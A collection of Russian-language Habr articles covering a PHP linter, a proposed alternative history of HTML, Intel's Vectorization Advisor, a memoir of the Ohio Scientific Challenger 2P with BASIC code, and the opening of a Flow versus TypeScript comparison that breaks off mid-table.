readable устанавливаеться через npm:
```
$ npm install @officient/readable --save-dev
```
После установки, надо создать конфигурационный файл:
```
$ npx readable --init
```
И можно запускать:
```
$ npx readable
```
Правила
-------
Сейчас в readable 16 правил:
1. **namespace-max-files** — максимальное количество файлов в неймспейсе
2. **argument-override** — запрет изменения значения аргументов функции
3. **file-max-size** — максимальное количество строк в файле
4. **empty-catch** — запрет на пустой `catch` блок
5. **class-comment** — перед объявлением класса должен быть какой-нибудь комментарий, что этот класс делает
6. **forbidden-functions** — список запрещенных функций (`eval`, `print_r` ...)
7. **missing-braces** — обязательные скобки в блоке после `if`, `for` ...
8. **variable-length** — минимальная длина имени переменной (можно добавлять исключения `$id`, `$i`)
9. **function-max-size** — максимальная длина функции
10. **loop-max-size** — максимальная длина цикла
11. **forbidden-function-prefix** — запрет на определенные слова в начале имени функции. Например, `checkSomething` — возвращает булево значение, или бросает исключение?
12. **if-assigment** — присваивание внутри условия `if`
13. **complex-if** — смешивание `&&` и `||` внутри условия `if`
14. **ternary-max-length** — максимальная длина строки с тернарным оператором
15. **loop-max-nest** — максимальная вложенность циклов
16. **max-nest** — максимальная вложенность блоков
Создание правил и внутренняя особенность
----------------------------------------
readable при проверки файла не строит синтаксическое дерево, а просто разбивает входной файл на массив токенов. Это — существенное отличие от аналогов. Возможно, это где-то ограничивает возможности, но с другой стороны:
1. readable быстрее. Так как, построение дерева из токенов довольно ресурсоёмкая задача.
2. Правила писать субъективно проще. Потому что, не надо разбираться в конкретном представлении синтаксического дерева.
Давайте для примера возьмем правило **loop-max-size**. Весь его код:
```
const loops = ['for', 'foreach'];
module.exports = {
check(maxLines, tokens, report) {
tokens.matchAll(loops, (token) => {
const end = token.copy().step().stepToClosing(); // skip ()
end.step().stepToClosing();
const lines = (end.current().line - token.current().line);
if (lines > maxLines) {
report(`Loop is longer than ${maxLines} lines [${lines}].`, token.current());
}
});
},
};
```
В правиле указано:
1. найти все `for` и `foreach`.
2. Взять следующий токен `.step()`, это будет открывающая скобка `(`. Дойти до закрывающей скобки `.stepToClosing()`.
3. Повторить второй шаг но уже для тела цикла (`{` и `}`).
4. Проверить длину тела цикла.
### Вместо заключения
Я использую readable в своих проектах как дополнительный линтер для кода. Мне все нравится, особенно baseline (справедливости ради, такое есть и в Psalm). У него есть возможность занять нишу именно вспомогательного линтера.
|
https://habr.com/ru/post/510344/
| null |
ru
| null |
# HTML, который мы потеряли
Привет, Хабр! Представляю вашему вниманию перевод статьи ["The HTML we never had"](http://skch.net/view.php?page=articles&post=bhtml) автора Сергея Кучерова.
В этом году исполняется 30 лет с тех пор, как Бернерс-Ли начал разрабатывать язык HTML. С тех пор мы прошли долгий путь, начиная с восхищения новой технологией, и заканчивая лечением интернет-зависимости и цензурой. Каких только бед не принес нам Интернет, взломанные пароли, кража личных данных, компьютерные вирусы, черви, а теперь даже вирусы-вымогатели. Вы когда-нибудь задумывались, почему Сеть до сих пор остается такой нестабильной и уязвимой? Где-то на этом длинном пути мы свернули не туда? Давайте разбираться.
HTML 1.0, опубликованный в 1993 году, включал всего 13 элементов (считая только те, которые сохранились до наших дней):
```
a, address, base, dd, dir, dl, dt, h1..h6, li, p, plaintext, title, ul
```
Самый главный из них, разумеется, «anchor» (а). Именно он определяет функциональность, которая отвечает за первые две буквы в заголовке стандарта—гипертекст. Без якорей (или ссылок) HTML был бы просто еще одним языком разметки текста. Именно эта способность отсылать пользователя к любому документу в мире с помощью универсального локатора ресурсов (URL), и создал это удивительное явление под названием World Wide Web. Спустя два года в HTML было добавлено еще несколько полезных элементов: `html`,`head`, `body`, а также элементы для создания форм, таблиц и изображений.
Последний элемент, сыграл, наверное, наиболее значительную роль в истории Интернета. Дав браузеру возможность отображать не только текст, но и картинки, мы сделали новую технологию привлекательной не только для небольшой группы ученых и энтузиастов, но и для миллионов обычных пользователей. Мы можем смело утверждать, что это нововведение даже подтолкнуло индустрию к повышению скорости интернета и его доступности для массового пользователя. Однако есть еще одна особенность этого элемента HTML, которая имеет историческое значение. Смотрите сюда:
```
```
Так как нельзя встроить двоичное изображение в текстовый файл (по крайней мере, в то время), то элемент `img` снабжен атрибутом, который указывает на то место, где браузер может найти требуемый файл. Эта простая идея была ключом к великому изобретению.
Ключом, который мы так никогда и не повернули.
HTML 2.0 был опубликован в ноябре 1995 года. Все были в восторге от новых возможностей, и наверное поэтому ни у кого не возникла мысль предложить: а почему бы нам не позволить всем остальным элементам HTML также использовать этот атрибут? Представьте себе это:
Этот код означает, что содержание заголовка должно быть загружено из данного URL. Может быть, это не имеет смысла для такого маленького элемента, но как насчет `div` или `article`?
Ну а сейчас это имеет смысл? Я знаю, что в 1993 году скорость Интернета была не такой высокой как сейчас. Новые функции уже заняли большинство существующей полосы пропускания, да и протокол HTTP был не на высоте. Тем не менее, не было никаких причин, чтобы не допустить такую возможность в стандарте.
Теперь вы, наверное, задумаетесь, а какое влияние этот атрибут мог бы оказать на будущее WWW? Сам по себе, возможно не такое уж и большое. Но если к нему добавить еще одну возможность, то результат мог бы разительно отличаться от того, что мы имеем сейчас. Когда браузер отображает страницу, он транслирует HTML-код в объектную модель документа (DOM) расположенную в памяти. Эта модель остается неизменной до тех пор, пока браузер не получит запрос заменить ее другим HTML-документом. Даже в 1993 году программное обеспечение работало не так примитивно. В том году, когда Netscape Navigator пришел на смену браузеру Mosaic, программе Lotus 123 было уже десять лет, а [VisiCalc](http://www.bricklin.com/firstspreadsheetquestion.htm)-ку еще больше. Идея вычисления состояния документа, как функции данных вносимых пользователем, была уже хорошо известна и достаточно проста в реализации. К сожалению, никто не решился применить ее к браузерам. Представьте, что бы было, если бы в HTML 2.0 появилась вот такая возможность:
```
George
Welcome, $name
==============
```
Если в электронной таблице вы можете ссылаться на содержимое других ячеек, то HTML документ мог бы позволить использовать переменные, которые ссылаются на значения других элементов. Например, приведенный выше код будет изображен в виде заголовка **Welcome, George**. Еще больше пользы переменные могли бы принести в URL:
Приведенный выше код загрузит содержимое статьи с URL `http://server.com/blog/George`. А если значение элемента `name` изменится, то браузер обновит содержимое только этого одного элемента. Как и сейчас, сервер несет ответственность за логику и генерацию HTML кода. В этом случае, отпадает необходимость в использовании AJAX и JavaScipt. Эта новая, до сих пор никем не предложенная функция, позволила бы легко реализовать окно поиска с динамическими подсказками:
```
```
Очевидно, что вычислять выражения гораздо безопаснее, чем выполнять код встроенной программы, последствия которого трудно предсказать. Чтобы сделать HTML еще более совместимым с электронными таблицами, нужно добавить возможность использовать функций:
```
@CONCATENATE(first,", ",last);
```
Нет необходимости в JavaScript, теневом DOM и других дорогих и крайне небезопасных функциях. Браузер автоматически рассчитывает изменения в DOM на основе данных, введенных пользователем. Сегодня мы называем это реактивным программированием. Обидно, что нам потребовалось 26 лет, чтобы додуматься до этого. Не поздно ли попробовать реализовать это сейчас?
Вы можете предположить, что последних версий HTML5 + CSS3 + JS вполне достаточно для современных нужд. Я так не думаю. Мы все еще мучаемся с созданием даже простого пользовательского интерфейса, и вынуждены использовать запутанные JS-библиотеки, вроде Angular. А как насчет веб-компонентов? Смогут ли они сделать веб-программирование быстрее, проще и безопаснее? Возможно. А может и нет. Все, что я знаю, что компоненты чрезвычайно легко реализуются поверх того стандарта HTML, которого у нас никогда не было. Разрешите представить вам элемент `define`:
```
...
```
Вот и все. Ресурс, загружаемый по адресу, указанному в URL компонента, является обычным HTML файлом. Он может содержать переменные, функции, а также ссылки на другие компоненты. Такие веб-компоненты могут быть легко использованы не только на одном веб-сайте, но и в качестве стандартной библиотеки в Интернете. Протокол [HTTP/2](https://http2.github.io/) вводит много полезных возможностей, которые позволят новому HTML работать в полную силу. JavaScript можно оставить, но в большинстве случаев он будет просто не нужен. Когда в последний раз у вас была необходимость использовать макрос в электронной таблице?
|
https://habr.com/ru/post/440336/
| null |
ru
| null |
# Новый инструмент анализа SIMD программ — Vectorization Advisor
В блоге компании опубликовано уже немало постов, посвященных векторизации, [вот](http://habrahabr.ru/company/intel/blog/171439/), например, довольно обстоятельный обзор принципов автовекторизации. С каждым выходом новых процессоров Intel тема становится все более актуальной для достижения максимальной производительности приложения. В этом посте я расскажу о Vectorization Advisor, который входит в знакомый многим Intel Advisor XE и позволяет решить множество проблем векторизации кода. Однако сначала о том, зачем это нужно.
#### Введение
*Рисунок 1. Ширина векторных регистров для разных микроархитектур процессоров*
Важной частью новых микроархитектур процессоров является увеличения длины векторных регистров и появление новых наборов векторных инструкций, всем известных как MMX, SSE, AVX и AVX2, благодаря которым несколько однотипных операций становится возможным выполнять за одну инструкцию. Чтобы лучше понять, насколько векторизация может ускорить вашу программу, взглянем на следующий график.
*Рисунок 2. Производительность разных версий программы расчета биноминальных опционов*
Несмотря на возможную синтетичность данного бенчмарка, он говорит о том, что не только уже знакомый многим параллелизм (threading), но и эффективное использование векторных регистров является ключевым фактором для достижения максимальной производительности. Существует несколько популярных путей достижения векторизации:
* автовекторизация компилятором;
* использование стандарта OpenMP\* 4.0 (именно им я буду пользоваться далее) и Intel Cilk Plus.
* управляемая компиляторная векторизация — использование векторных директив, таких как #pragma ivdep и #pragma vector;
* Intel Cilk Plus Array Notation;
Кроме того, существуют более сложные способы, например, использование интринсиков и использование векторных инструкций в ассемблерном коде.
К счастью, с выходом новых версий компиляторов автовекторизация становится все более доступной и эффективной. Чтобы увидеть, насколько компилятор преуспел в этом деле можно добавить ключи компиляции (-optreport для Intel Compilers) и прочитать отчет о векторизации с детализацией по каждому циклу и полученному ускорению. Но для многих случаев все далеко не так просто и приходится каким-либо образом помочь компилятору понять, что код можно и нужно векторизовать, либо переписать код, сделав код векторизуемым. Также, не стоит думать, что векторизованный код является по умолчанию максимально эффективным с точки зрения производительности. Часто можно увидеть, что цикл хоть и векторизовался, но реальное ускорение довольно невелико. Эти проблемы делают работу инженеров по оптимизации довольно трудной и рутинной: нужно изучить код, посмотреть сообщения от компилятора, исследовать ассемблерный код и шаблоны доступа к данным, проверить корректность новой версии, модифицировать требуемую часть, оценить производительность и т.д.
Хорошие новости: Vectorization Advisor существенно упрощает рутинную часть!
Пакет Intel Parallel Studio XE даёт широкие возможности анализа кода на предмет оценки производительности, однако ранее оценка векторизации кода покрыта была не полностью. Intel Parallel Studio XE 2016 Beta включает сильно обновлённый Intel Advisor XE 2016 Beta, объединяющий фактически два продукта:
* Threading assistant – всё, что было в Intel Advisor раньше, с несколькими улучшениями.
* Vectorization Advisor – совершенно новый инструмент анализа SIMD программ.
С чего начать? Чтобы сфокусироваться на проблемах производительности и их возможных причинах необходимо запустить Survey.
#### Этап 1. Профилировка (Survey Target)
Итак, первое, что делает Vectorization Advisor – запускает ваше приложение и профилирует его. Инструмент представляет полный отчет по каждому циклу, включающий в себя анализ горячих точек (hotspots), статический анализ бинарных модулей, сообщения компилятора. Более того, новый продукт включает в себя рекомендации и диагностики от экспертов по векторизации, лишь часть из которых можно найти на Intel Developer Zone.
*Рисунок 3. Подробный отчет о программе после Survey анализа*
На приведенном здесь и ниже скриншотах видно, что после Survey пользователь получает много важной информации: сначала стоит обратить внимание на время, проведенное в цикле (Self и Total time), чтобы выбрать наиболее затратные по времени. Далее можно сфокусироваться на еще не векторизованных циклах. На рисунке 3 отмечен скалярный цикл, который мы далее будем рассматривать и оптимизировать. Для данного цикла имеется диагностика компилятора — информация о причинах, по которым цикл не был векторизован, здесь компилятор предполагает наличие зависимостей. Также, как показано ниже на скриншоте этапа 1.1 (рисунок 4), Vectorization Advisor ищет проблемы производительности и пути их решения, причем использует для этого не только информацию компилятора, но и статический анализ бинарного файла: оценки ускорения, различные характеристики ассемблерных инструкций, типы данных и так далее. Все эти данные можно найти здесь же, для каждого цикла.
Предполагается, что информации, полученной на этом этапе, достаточно, чтобы решить, что нужно улучшать и сделать первые шаги на пути к хорошо оптимизированной программе.
#### Этап 1.1 Нахождение числа итераций (Find Trip Counts)
Часто для решения проблем с неэффективной генерацией векторизованных циклов нужно знать число итераций в цикле. Если число итераций не постоянно (соответственно, компилятор не может его оценить и использовать для оптимизации), то его можно измерить и дать компилятору подсказку. Для этого в Vectorization Advisor появился новый тип анализа — Trip Counts. Еще один плюс этого анализа – это то, что он интегрируется в общий профиль программы, собранный после Survey.
*Рисунок 4. Отчет о программе, дополненный количеством итераций циклов*
Желтым отмечены колонки, появившиеся после поиска числа итераций. Здесь мы видим среднее, минимальное и максимальное число итераций, а также число вхождений в цикл и индикатор, показывающий значительное число вхождений, имеющих отличное от среднего число итераций. Как было отмечено ранее, выбранный нами цикл не был векторизован из-за предполагаемого наличия зависимостей. Рассмотрим подробнее код примера:
```
#pragma omp parallel for private(i__3,j,k,i__) schedule(guided) if(i__2 > 101)
for (i__ = 1; i__ <= i__2; ++i__)
{
k = i__ * (i__ + 1) / 2;
i__3 = *n;
for (j = i__; j <= i__3; ++j)
{
cdata_1.array[k - 1] += bb[i__ + j * bb_dim1];
k += j;
}
}
```
Внешний цикл распараллелен с помощью потоков OpenMP. Внутренний цикл неплохо было бы векторизовать, однако Advisor XE говорит о возможных зависимостях по данным, проверим это.
#### Этап 2.1 Проверка зависимостей (Check Correctness)
Для проверки возможных зависимостей по данным, потенциально препятствующим векторизации, отмечаем интересующие нас циклы и запускаем Correctness.
*Рисунок 5. Выбор циклов для последующего анализа на корректность*
После сбора данных видим, что Advisor XE не обнаружил на данном примере никаких проблем, исключающих возможность векторизовать код:
*Рисунок 6. Отчет после анализа корректности*
Поскольку мы убедились в безопасности векторизации (No dependencies found на рисунке 6), то «заставим» компилятор векторизовать интересующий нас цикл, для этого добавим директиву
```
#pragma omp simd
```
перед циклом:
```
#pragma omp parallel for private(i__3,j,k,i__) schedule(guided) if(i__2 > 101)
for (i__ = 1; i__ <= i__2; ++i__)
{
k = i__ * (i__ + 1) / 2;
i__3 = *n;
#pragma omp simd
for (j = i__; j <= i__3; ++j)
{
cdata_1.array[k - 1] += bb[i__ + j * bb_dim1];
k += j;
}
}
```
Пересоберем Survey и получим следующий результат:
*Рисунок 7. Полученный результат для выбранного для оптимизации цикла*
Цикл векторизовался с использованием AVX инструкций. Время цикла упало до 0.77 секунды — получили ускорение более чем в 2 раза!
#### Этап 2.2 Проверка шаблона доступа к данным Memory Access Patterns
Аналогично анализу корректности, выбранные циклы можно проверить на эффективность работы с памятью. Это важно, поскольку векторизация может быть более или менее эффективна в зависимости от порядка доступа к данным, например, обращение к выровненным данным обычно дает более производительный код. Отметим циклы, по которым хочется получить информацию и запустим анализ Memory Access Patterns.
*Рисунок 8. Отчет о шаблоне доступа к данным*
Как мы видим на рисунке 8, шаг прохождения по массиву bb (stride) является константным и равен 8000 либо 1000 (равный в разных вызовах bb\_dim1). Шаг же по массиву c\_data\_1.array является вариативным (994; 995; 996…), что, однако, исправить без переписывания алгоритма сделать довольно тяжело. Желательно сделать шаг единичным, организуя тем самым предвыборку данных, чем в конечном итоге занимается компилятор. Это можно увидеть по анализу инструкций в колонке Instruction Set Analysis, там присутствуют специфичные для этого Insert и Shuffles.
#### Выводы
Vectorization Advisor будет полезен там, где уже есть работающий код, который нужно дополнительно векторизовать. При помощи нового инструмента каждый может получить не только полный отчет, содержащий в себе детализированное представление «узких» мест приложения, но и получить рекомендации по их устранению. Те, кто до появления Vectorization Advisor пытался проделать анализ вручную – будет экономить огромное количество времени, а те, кто еще не знал о том, что это возможно – получат замечательную возможность оптимизировать свое приложение самостоятельно!
#### Ссылки
1. [Intel Parallel Studio XE 2016 Beta – что нового?](http://habrahabr.ru/company/intel/blog/255175/)
2. [Intel Parallel Studio XE 2016 Beta](https://software.intel.com/en-us/articles/intel-parallel-studio-xe-2016-beta)
3. [Vectorization Advisor FAQ](https://software.intel.com/en-us/articles/vectorization-advisor-faq)
4. [Vectorization Advisor Getting Started](https://software.intel.com/en-us/vectorization_advisor_getting_started_intro)
|
https://habr.com/ru/post/255731/
| null |
ru
| null |
# Ohio Challenger 2P и его 4 КБ оперативной памяти
*Статья Эрика Бэнгмана, управляющего редактора журнала Ars Technica*
Я уже замечал его краем глаза, когда ходил мимо него на уроки геометрии, но теперь мне предстояло впервые зайти в школьный компьютерный класс.
Это был сентябрь 1980 года и мой первый год в средней школе Гейтвей пошёл кувырком, ещё когда не успела закончиться первая неделя первого семестра. Я записался на уроки русского языка, на которые нужно было ездить на автобусе в соседнюю школу в Авроре, Колорадо. Моё радостное предвкушение начала изучения языка противника на пике [Холодной войны](https://ru.wikipedia.org/wiki/%D0%A5%D0%BE%D0%BB%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F_%D0%B2%D0%BE%D0%B9%D0%BD%D0%B0) серьёзно увяло, когда на первый урок заявилось только четыре ученика. Такая низкая посещаемость привела к тому, что уроки русского отменили через несколько дней, и мне пришлось пересматривать свой график. Я заменил русский латынью, что отменило необходимость ежедневных поездок на автобусе, а также открыло в моём графике ещё одно свободное место для введения в программирование компьютеров.
Мои дети с трудом это понимают, но в 1980-м году единственными компьютерами, с которыми я мог сталкиваться ежедневно, были калькуляторы или видеоигры. Конечно, в школе я мог периодически видеть мейнфрейм, однако сам я общался с компьютером либо при помощи клона игровой приставки [Intellivision](https://ru.wikipedia.org/wiki/Intellivision) под брендом Sears, либо в местном зале игровых автоматов.
Компьютеры в лаборатории Гейтвея не были похожи ни на что из того, что я видел ранее. Это были синие металлические коробки с чёрными клавиатурами и 9" чёрно-белыми телевизорами сверху. Несколько из них были подсоединены к телетайпу. Рядом с ними были прикованы к партам дешёвые кассетные проигрыватели. Большие квадратные буквы сообщали нам, что это были компьютеры Ohio Scientific Challenger 2P.
По цене в $495 Challenger 2P мог похвастаться невероятным объёмом оперативной памяти в 4 КБ, текстовым дисплеем 32х32 символа и поддержкой Microsoft BASIC. Всё это работало на процессоре MOS Technology 6502 с тактовой частотой в 1 МГц. Даже по тем стандартам такие спецификации были далеко не самыми мощными. Компьютер Apple ][+ вышел в том же 1979 году, что и 2P, однако предлагал 16 КБ оперативки и 16 цветов для дисплея 40х48 символов. Однако мне это не мешало, поскольку я получил доступ к компьютеру. И я мог делать всё, что захочу.
*Использование одного из компьютеров Challenger 2P в средней школе Гейтвей в 1980*
Мы начали обучение с простых программ на BASIC:
```
10 A=1
20 B=10
30 A=A+1
40 C=A*B
50 IF A>10 THEN GOTO 80
60 ?A" X "B" = "C
70 GOTO 30
80 END
```
Потом перешли на циклы FOR/NEXT:
```
10 B=10
20 FOR A=1 TO 10
30 C=A*B
40 ?A" X "B" = "C
50 NEXT A
```
Скучно? Возможно. Но однажды я забрёл в компьютерный класс во время обеда и увидел, как старшеклассник играет в нечто вроде игры. Что-то, похожее на "[Энтерпрайз](https://ru.wikipedia.org/wiki/%D0%AD%D0%BD%D1%82%D0%B5%D1%80%D0%BF%D1%80%D0%B0%D0%B9%D0%B7_NX-01)" перемещалось по экрану телевизора посредством нажатий на клавиатуре в попытках увернуться от кучи звёздочек (\*). Игра была примитивной даже по сравнению с Atari 2600 моего соседа, но этот ученик написал её самостоятельно.
Игра на 9" чёрно-белом телевизоре использовала килобайт памяти. Дисплей 32х32 работал с 1024 символами, но показывались только 576 из них (остальные были зарезервированы в охранном буфере). Можно было выводить данные непосредственно на дисплей, проверять, занято ли определённое место экрана определённым символом, и двигать символы по дисплею при помощи клавиатуры. И это меня сразу же и навсегда затянуло.
*На Challenger 2P кроме ASCII символов были и графические*
Моё свободное время в школе начало уходить на смешивание вселенных «Звёздных войн» и «Звёздного пути» посредством написания игры для двоих игроков, где «Энтерпрайз» сражался с [TIE Fighter](https://ru.wikipedia.org/wiki/TIE_Fighter) (который был обозначен символами стрелки влево и стрелки вправо). Если выстрел из фазера (дефис) Энтерпрайза попадал в цель, TIE fighter взрывался – ну, не совсем взрывался, он превращался в пару звёздочек.
Отрывок из игры [Tank For Two](http://technology.niagarac.on.ca/people/mcsele/Tankfort.bas) для Challenger 2P даёт представление о том, как выглядел мой код:
```
390 POKE P1,TA(T1)
400 FOR X=1TO3:IF F1=0 THEN 460
410 IF B1<>P1 THEN POKE B1,32
420 P=PEEK(B1+M1):IF P=161 THEN F1=0:GOTO 460
430 B1=B1+M1:POKE B1,BD(T1)
440 IF P=TA(T2)THEN F1=0:B1=P1:S1=S1+1:GOTO 460
450 IF B1C2 THEN F1=0
460 IF F2=0 THEN 520
```
Команда POKE использовалась для вывода определённого символа на экран; переменная слева от запятой обозначала место в памяти, а справа – символ, который нужно вывести. PEEK использовалась для считывания содержимого точки в памяти, и определяла, попал ли выстрел лазера TIE fighter в Энтерпрайз. В 1980 году для ученика средней школы это было головокружительно.
Учитывая то, кем я работаю сегодня, неудивительно, что я всё время проводил в компьютерном классе. Я начал покупать и подписываться на компьютерные журналы, вручную вводил текстовые игры вроде Hunt the Wumpus и сохранял их в постепенно выраставшей библиотеке кассет. Если я забывал принести с собой кассету, всегда оставался вариант распечатать программу на телетайпе в виде последовательности из выпуклых точек. Загрузка с катушек не всегда работала хорошо, поэтому я на всякий случай печатал на громко работающем телетайпе мой оригинальный код.
На рождественских каникулах мне даже разрешили взять один компьютер с его ч/б телевизором домой. К сожалению, два дня с компьютером я потерял из-за сгоревшего предохранителя на 2P – да, настоящего стеклянного предохранителя в виде трубочки.
Мне ужасно хотелось иметь свой собственный Challenger. Хотя в магазине электроники в Aurora Mall продавали Atari 400, а в Radio Shack — TRS-80, я всегда шёл строго в магазин JCPenney, и потом в его отдел электроники. И там, во всей своей цветной красе, стоял Challenger 4P за $600. Но, несмотря на все мои попытки, на мою мать не произвели впечатления возможности персонального компьютера, применимые в быту, и все мои мольбы остались без ответа. Только в следующем году я смог купить свой первый компьютер, Timex Sinclair ZX80 в виде набора для самостоятельной сборки, который мне не довелось использовать из-за неудачной пайки.
*Я в верхнем ряду справа*
На второй год моего обучения компьютеры Ohio Scientific уже исчезли, уступив место компьютерам Apple ][ и Apple ][+ с дисководами 5-1/2" и монохромными зелёными мониторами. И хотя я расстроился из-за отсутствия знакомых синих коробок, я быстро понял, что компьютеры Apple были куда как мощнее.
Тридцать лет спустя Ohio Scientific существует только в памяти. За Challenger 2P последовал выход цветной версии 4P, а потом версии 8P, после которой компанию купили в 1981 году, и отменили линейку ПК. К сожалению, мои навыки программирования также остались в памяти, однако опыт не пропал даром. Если бы больше детей в Колорадо захотели научиться говорить по-русски, моя жизнь могла бы стать совсем другой. Но у меня была возможность взрастить любовь к компьютерам, которые я смог не только использовать, но и играть с ними, создавать что-то на их основе и в итоге контролировать их.
|
https://habr.com/ru/post/469005/
| null |
ru
| null |
# Типобезопасность в JavaScript: Flow и TypeScript
Все, кто имеют дело с разработкой UI в кровавом enterprise наверняка слышали о «типизированном JavaScript», подразумевая под этим «TypeScript от Microsoft». Но кроме этого решения существует как минимум ещё одна распространённая система типизации JS, и тоже от крупного игрока IT-мира. Это flow от Facebook. Из-за личной нелюбви к Microsoft раньше всегда использовал именно flow. Объективно это объяснял хорошей интеграцией с существующими утилитами и простотой перехода.
К сожалению, надо признать, что в 2021 году flow уже значительно проигрывает TypeScript как в популярности, так и в поддержке со стороны самых разных утилит (и библиотек), и пора бы его ~~закопать~~ поставить на полку, и ~~перестать жевать кактус~~ перейти на де-факто стандарт TypeScript. Но под этим хочется на последок сравнить эти технологии, сказать пару (или не пару) прощальных слов flow от Facebook.
### Зачем нужна безопасность типов в JavaScript?
JavaScript это замечательный язык. Нет, не так. Экосистема, построенная вокруг языка JavaScript — замечательная. На 2021 год она реально восхищает тем, что вы можете использовать самые современные возможности языка, а потом изменением одной настройки системы сборки транспилировать исполняемый файл для того, чтобы поддержать его выполнение в старых версиях браузеров, в том числе в IE8, не к ночи он будет помянут. Вы можете «писать на HTML» (имеется ввиду JSX), а потом с помощью утилиты `babel` (или `tsc`) заменить все теги на корректные JavaScript-конструкции вроде вызова библиотеки React (или любой другой, но об этом в другом посте).
Чем хорош JavaScript как скриптовый язык, исполняемый в вашем браузере?
* JavaScript не нужно «компилировать». Вы просто добавляете конструкции JavaScript и браузер обязан их понимать. Это сразу даёт кучу удобных и почти бесплатных вещей. Например, отладку прямо в браузере, за работоспособность которой отвечает не программист (который должен не забыть, например, включить кучу отладочных опций компилятора и соответствующие библиотеки), а разработчик браузера. Вам не нужно ждать по 10-30 минут (реальный срок для C/C++), пока ваш проект на 10к строк скомпилируется, чтобы попробовать написать что-то по другому. Вы просто меняете строку, перезагружаете страницу браузера и наблюдаете за новым поведением кода. А в случает использования, например, webpack, страницу еще и за вас перезагрузят. Многие браузеры позволяют менять код прямо внутри страницы с помощью своих devtools.
* Это кросс-платформенный код. В 2021 году уже почти можно забыть о разном поведении разных браузеров. Вы пишете код под Chrome/Firefox, заранее запланировав, например, от 5% (enterprise-код) до 30% (UI/мультимедиа) своего времени, чтобы потом подрихтовать результат под разные браузеры.
* В языке JavaScript почти не нужно думать о многопоточности, синхронизации и прочих страшных словах. Вам не нужно думать о блокировках потоков — потому что у вас один поток (не считая worker'ов). До тех пор, пока ваш код не будет требовать 100% CPU (если вы пишете UI для корпоритавного приложения), то вполне достаточно знать, что код исполняется в одном единственном потоке, а асинхронные вызовы успешно оркестрируются с помощью Promise/async/await/etc.
* При этом даже не рассматриваю вопрос, почему JavaScript важен. Ведь с помощью JS можно: валидировать формы, обновлять содержимое страницы без перезагрузки её целиком, добавлять нестандартные эффекты поведения, работать с аудио и видео, да можно вообще целиком клиент своего enterprise-приложения написать на JavaScript.
Как и почти в любом скриптовом (интерпретируемом) языке в JavaScript можно… писать неработающий код. Если до этого кода не доберётся браузер, то не будет ни сообщения об ошибке, ни предупреждения, вообще ничего. С одной стороны это хорошо. Если у вас есть большой-большой веб-сайт, то даже синтаксическая ошибка в коде обработчика нажатия кнопки не должна приводить к тому, что сайт не загружается у пользователя целком.
Но и, разумеется, это плохо. Потому что сам факт наличия чего-нибудь неработающего где-нибудь на сайте это плохо. И было бы здорово до того, как код попадёт на работающий сайт, проверить все-все скрипты на сайте и убедиться, что они хотя бы компилируются. А в идеале — и работают. Для этого используются самые разные наборы утилит (мой любимый набор — npm + webpack + babel/tsc + karma + jsdom + mocha + chai).
Если мы живём в идеальном мире, то все-все скрипты на вашем сайте, даже однострочные, покрыты тестами. Но, к сожалению, мир не идеален, и для всей той части кода, что не покрыта тестами, мы можем только понадеяться на какие-нибудь автоматизированные средства проверки. Которые могут проверить:
* Что вы корректно используете синтаксис языка JavaScript. Проверяется, что набранный вами текст может быть понят интерпретатором языка JavaScript, что вы не забыли закрыть открытую фигурную скобку, что строковые лексемы корректно ограничены кавычками и прочее, и прочее. Эту проверку выполняют почти все утилиты сборки/траспилирования/сжатия/обфускации кода.
* Что семантика языка используется корректно. Можно попытаться проверить, что те инструкции, которые записаны в написанном вами скрипте могут быть корректно поняты интерпретатором. Например, пусть есть следующий код:
```
var x = null;
x.foo();
```
Данный код является корректным с точки зрения синтаксиса языка. Но с точки зрения семантики он некорректен — попытка вызова метода у null вызовет сообщение об ошибке во время выполнения программы.
Кроме ошибок семантики могут быть ещё более страшные ошибки: логические. Когда программа отрабатывает без ошибок, но результат совсем не тот, что ожидался. Классический со сложением строк и чисел:
```
console.log( input.value ) // 1
console.log( input.value + 1 ) // 11
```
Существующие средства статического анализа кода (eslint, например), может попытаться отследить значительное количество потенциальных ошибок, которые программист допускает в своём коде. Например:
* [Запрет на бесконечный цикл for с некорректным условием окончания цикла](https://eslint.org/docs/rules/for-direction)
* [Запрет на использование async-функций в качестве аргумента конструктора Promise](https://eslint.org/docs/rules/no-async-promise-executor)
* [Запрет на присваивания в условиях](https://eslint.org/docs/rules/no-cond-assign)
* и [другие](https://eslint.org/docs/rules/#possible-errors)
Обратите внимание, что все эти правила по сути представляют собой ограничения, которые линтер накладывает на программиста. То есть линтер фактически *уменьшает* возможности языка JavaScript, чтобы программист допускал меньше потенциальных ошибок. Если включить все-все правила, то будет нельзя делать присваивания в условиях (хотя JavaScript это изначально разрешает), использовать дубликаты ключей в литералах объектов и даже нельзя будет вызывать `console.log()`.
Добавление типов переменных и проверка вызовов с учётом типов — это дополнительные ограничения языка JavaScript, чтобы уменьшить количество потенциальных ошибок.
Попытка умножить число на строку
Попытка обратиться к несуществующему (неописанному в типе) свойству объекта
Попытка вызвать функцию с несовпадающим типом аргумента
Если мы напишем этот код без средств проверки типов, то код упешно траспилируется. Никакие средства статического анализа кода, если они не используют (явно или неявно) информацию о типах объктов, не смогут эти ошибки найти.
То есть добавление типизации в JavaScript добавляет дополнительные ограничения на код, который пишет программист, но зато позволяет найти такие ошибки, которые в противном случае случились бы во время выполнения скрипта (то есть скорее всего у пользователя в браузере).
### Возможности типизации JavaScript
| | [Flow](https://flow.org/) | [TypeScript](https://www.typescriptlang.org/) |
| --- | --- | --- |
| Возможность задать тип переменной, аргумента или тип возвращаемого значения функции |
```
a : number = 5;
function foo( bar : string) : void {
/*...*/
}
```
|
| Возможность описать свой тип объекта (интерфейс) |
```
type MyType {
foo: string,
bar: number
}
```
|
| Ограничение допустимых значений для типа |
```
type Suit = "Diamonds" | "Clubs" | "Hearts" | "Spades";
```
|
| Отдельный type-level extension для перечислений | |
```
enum Direction { Up, Down, Left, Right }
```
|
| «Сложение» типов |
```
type MyType = TypeA & TypeB;
```
|
| Дополнительные «типы» для сложных случаев |
```
$Keys, $Values, $ReadOnly, $Exact, $Diff, $Rest, $PropertyType, $ElementType, $NonMaybeType, $ObjMap, $ObjMapi, $TupleMap, $Call, Class, $Shape, $Exports, $Supertype, $Subtype, Existential Type (\*)
```
|
```
Partial, Required, Readonly, Record, Pick, Omit, Exclude, Extract, NonNullable, Parameters, ConstructorParameters, ReturnType, InstanceType, ThisParameterType, OmitThisParameter, ThisType
```
|
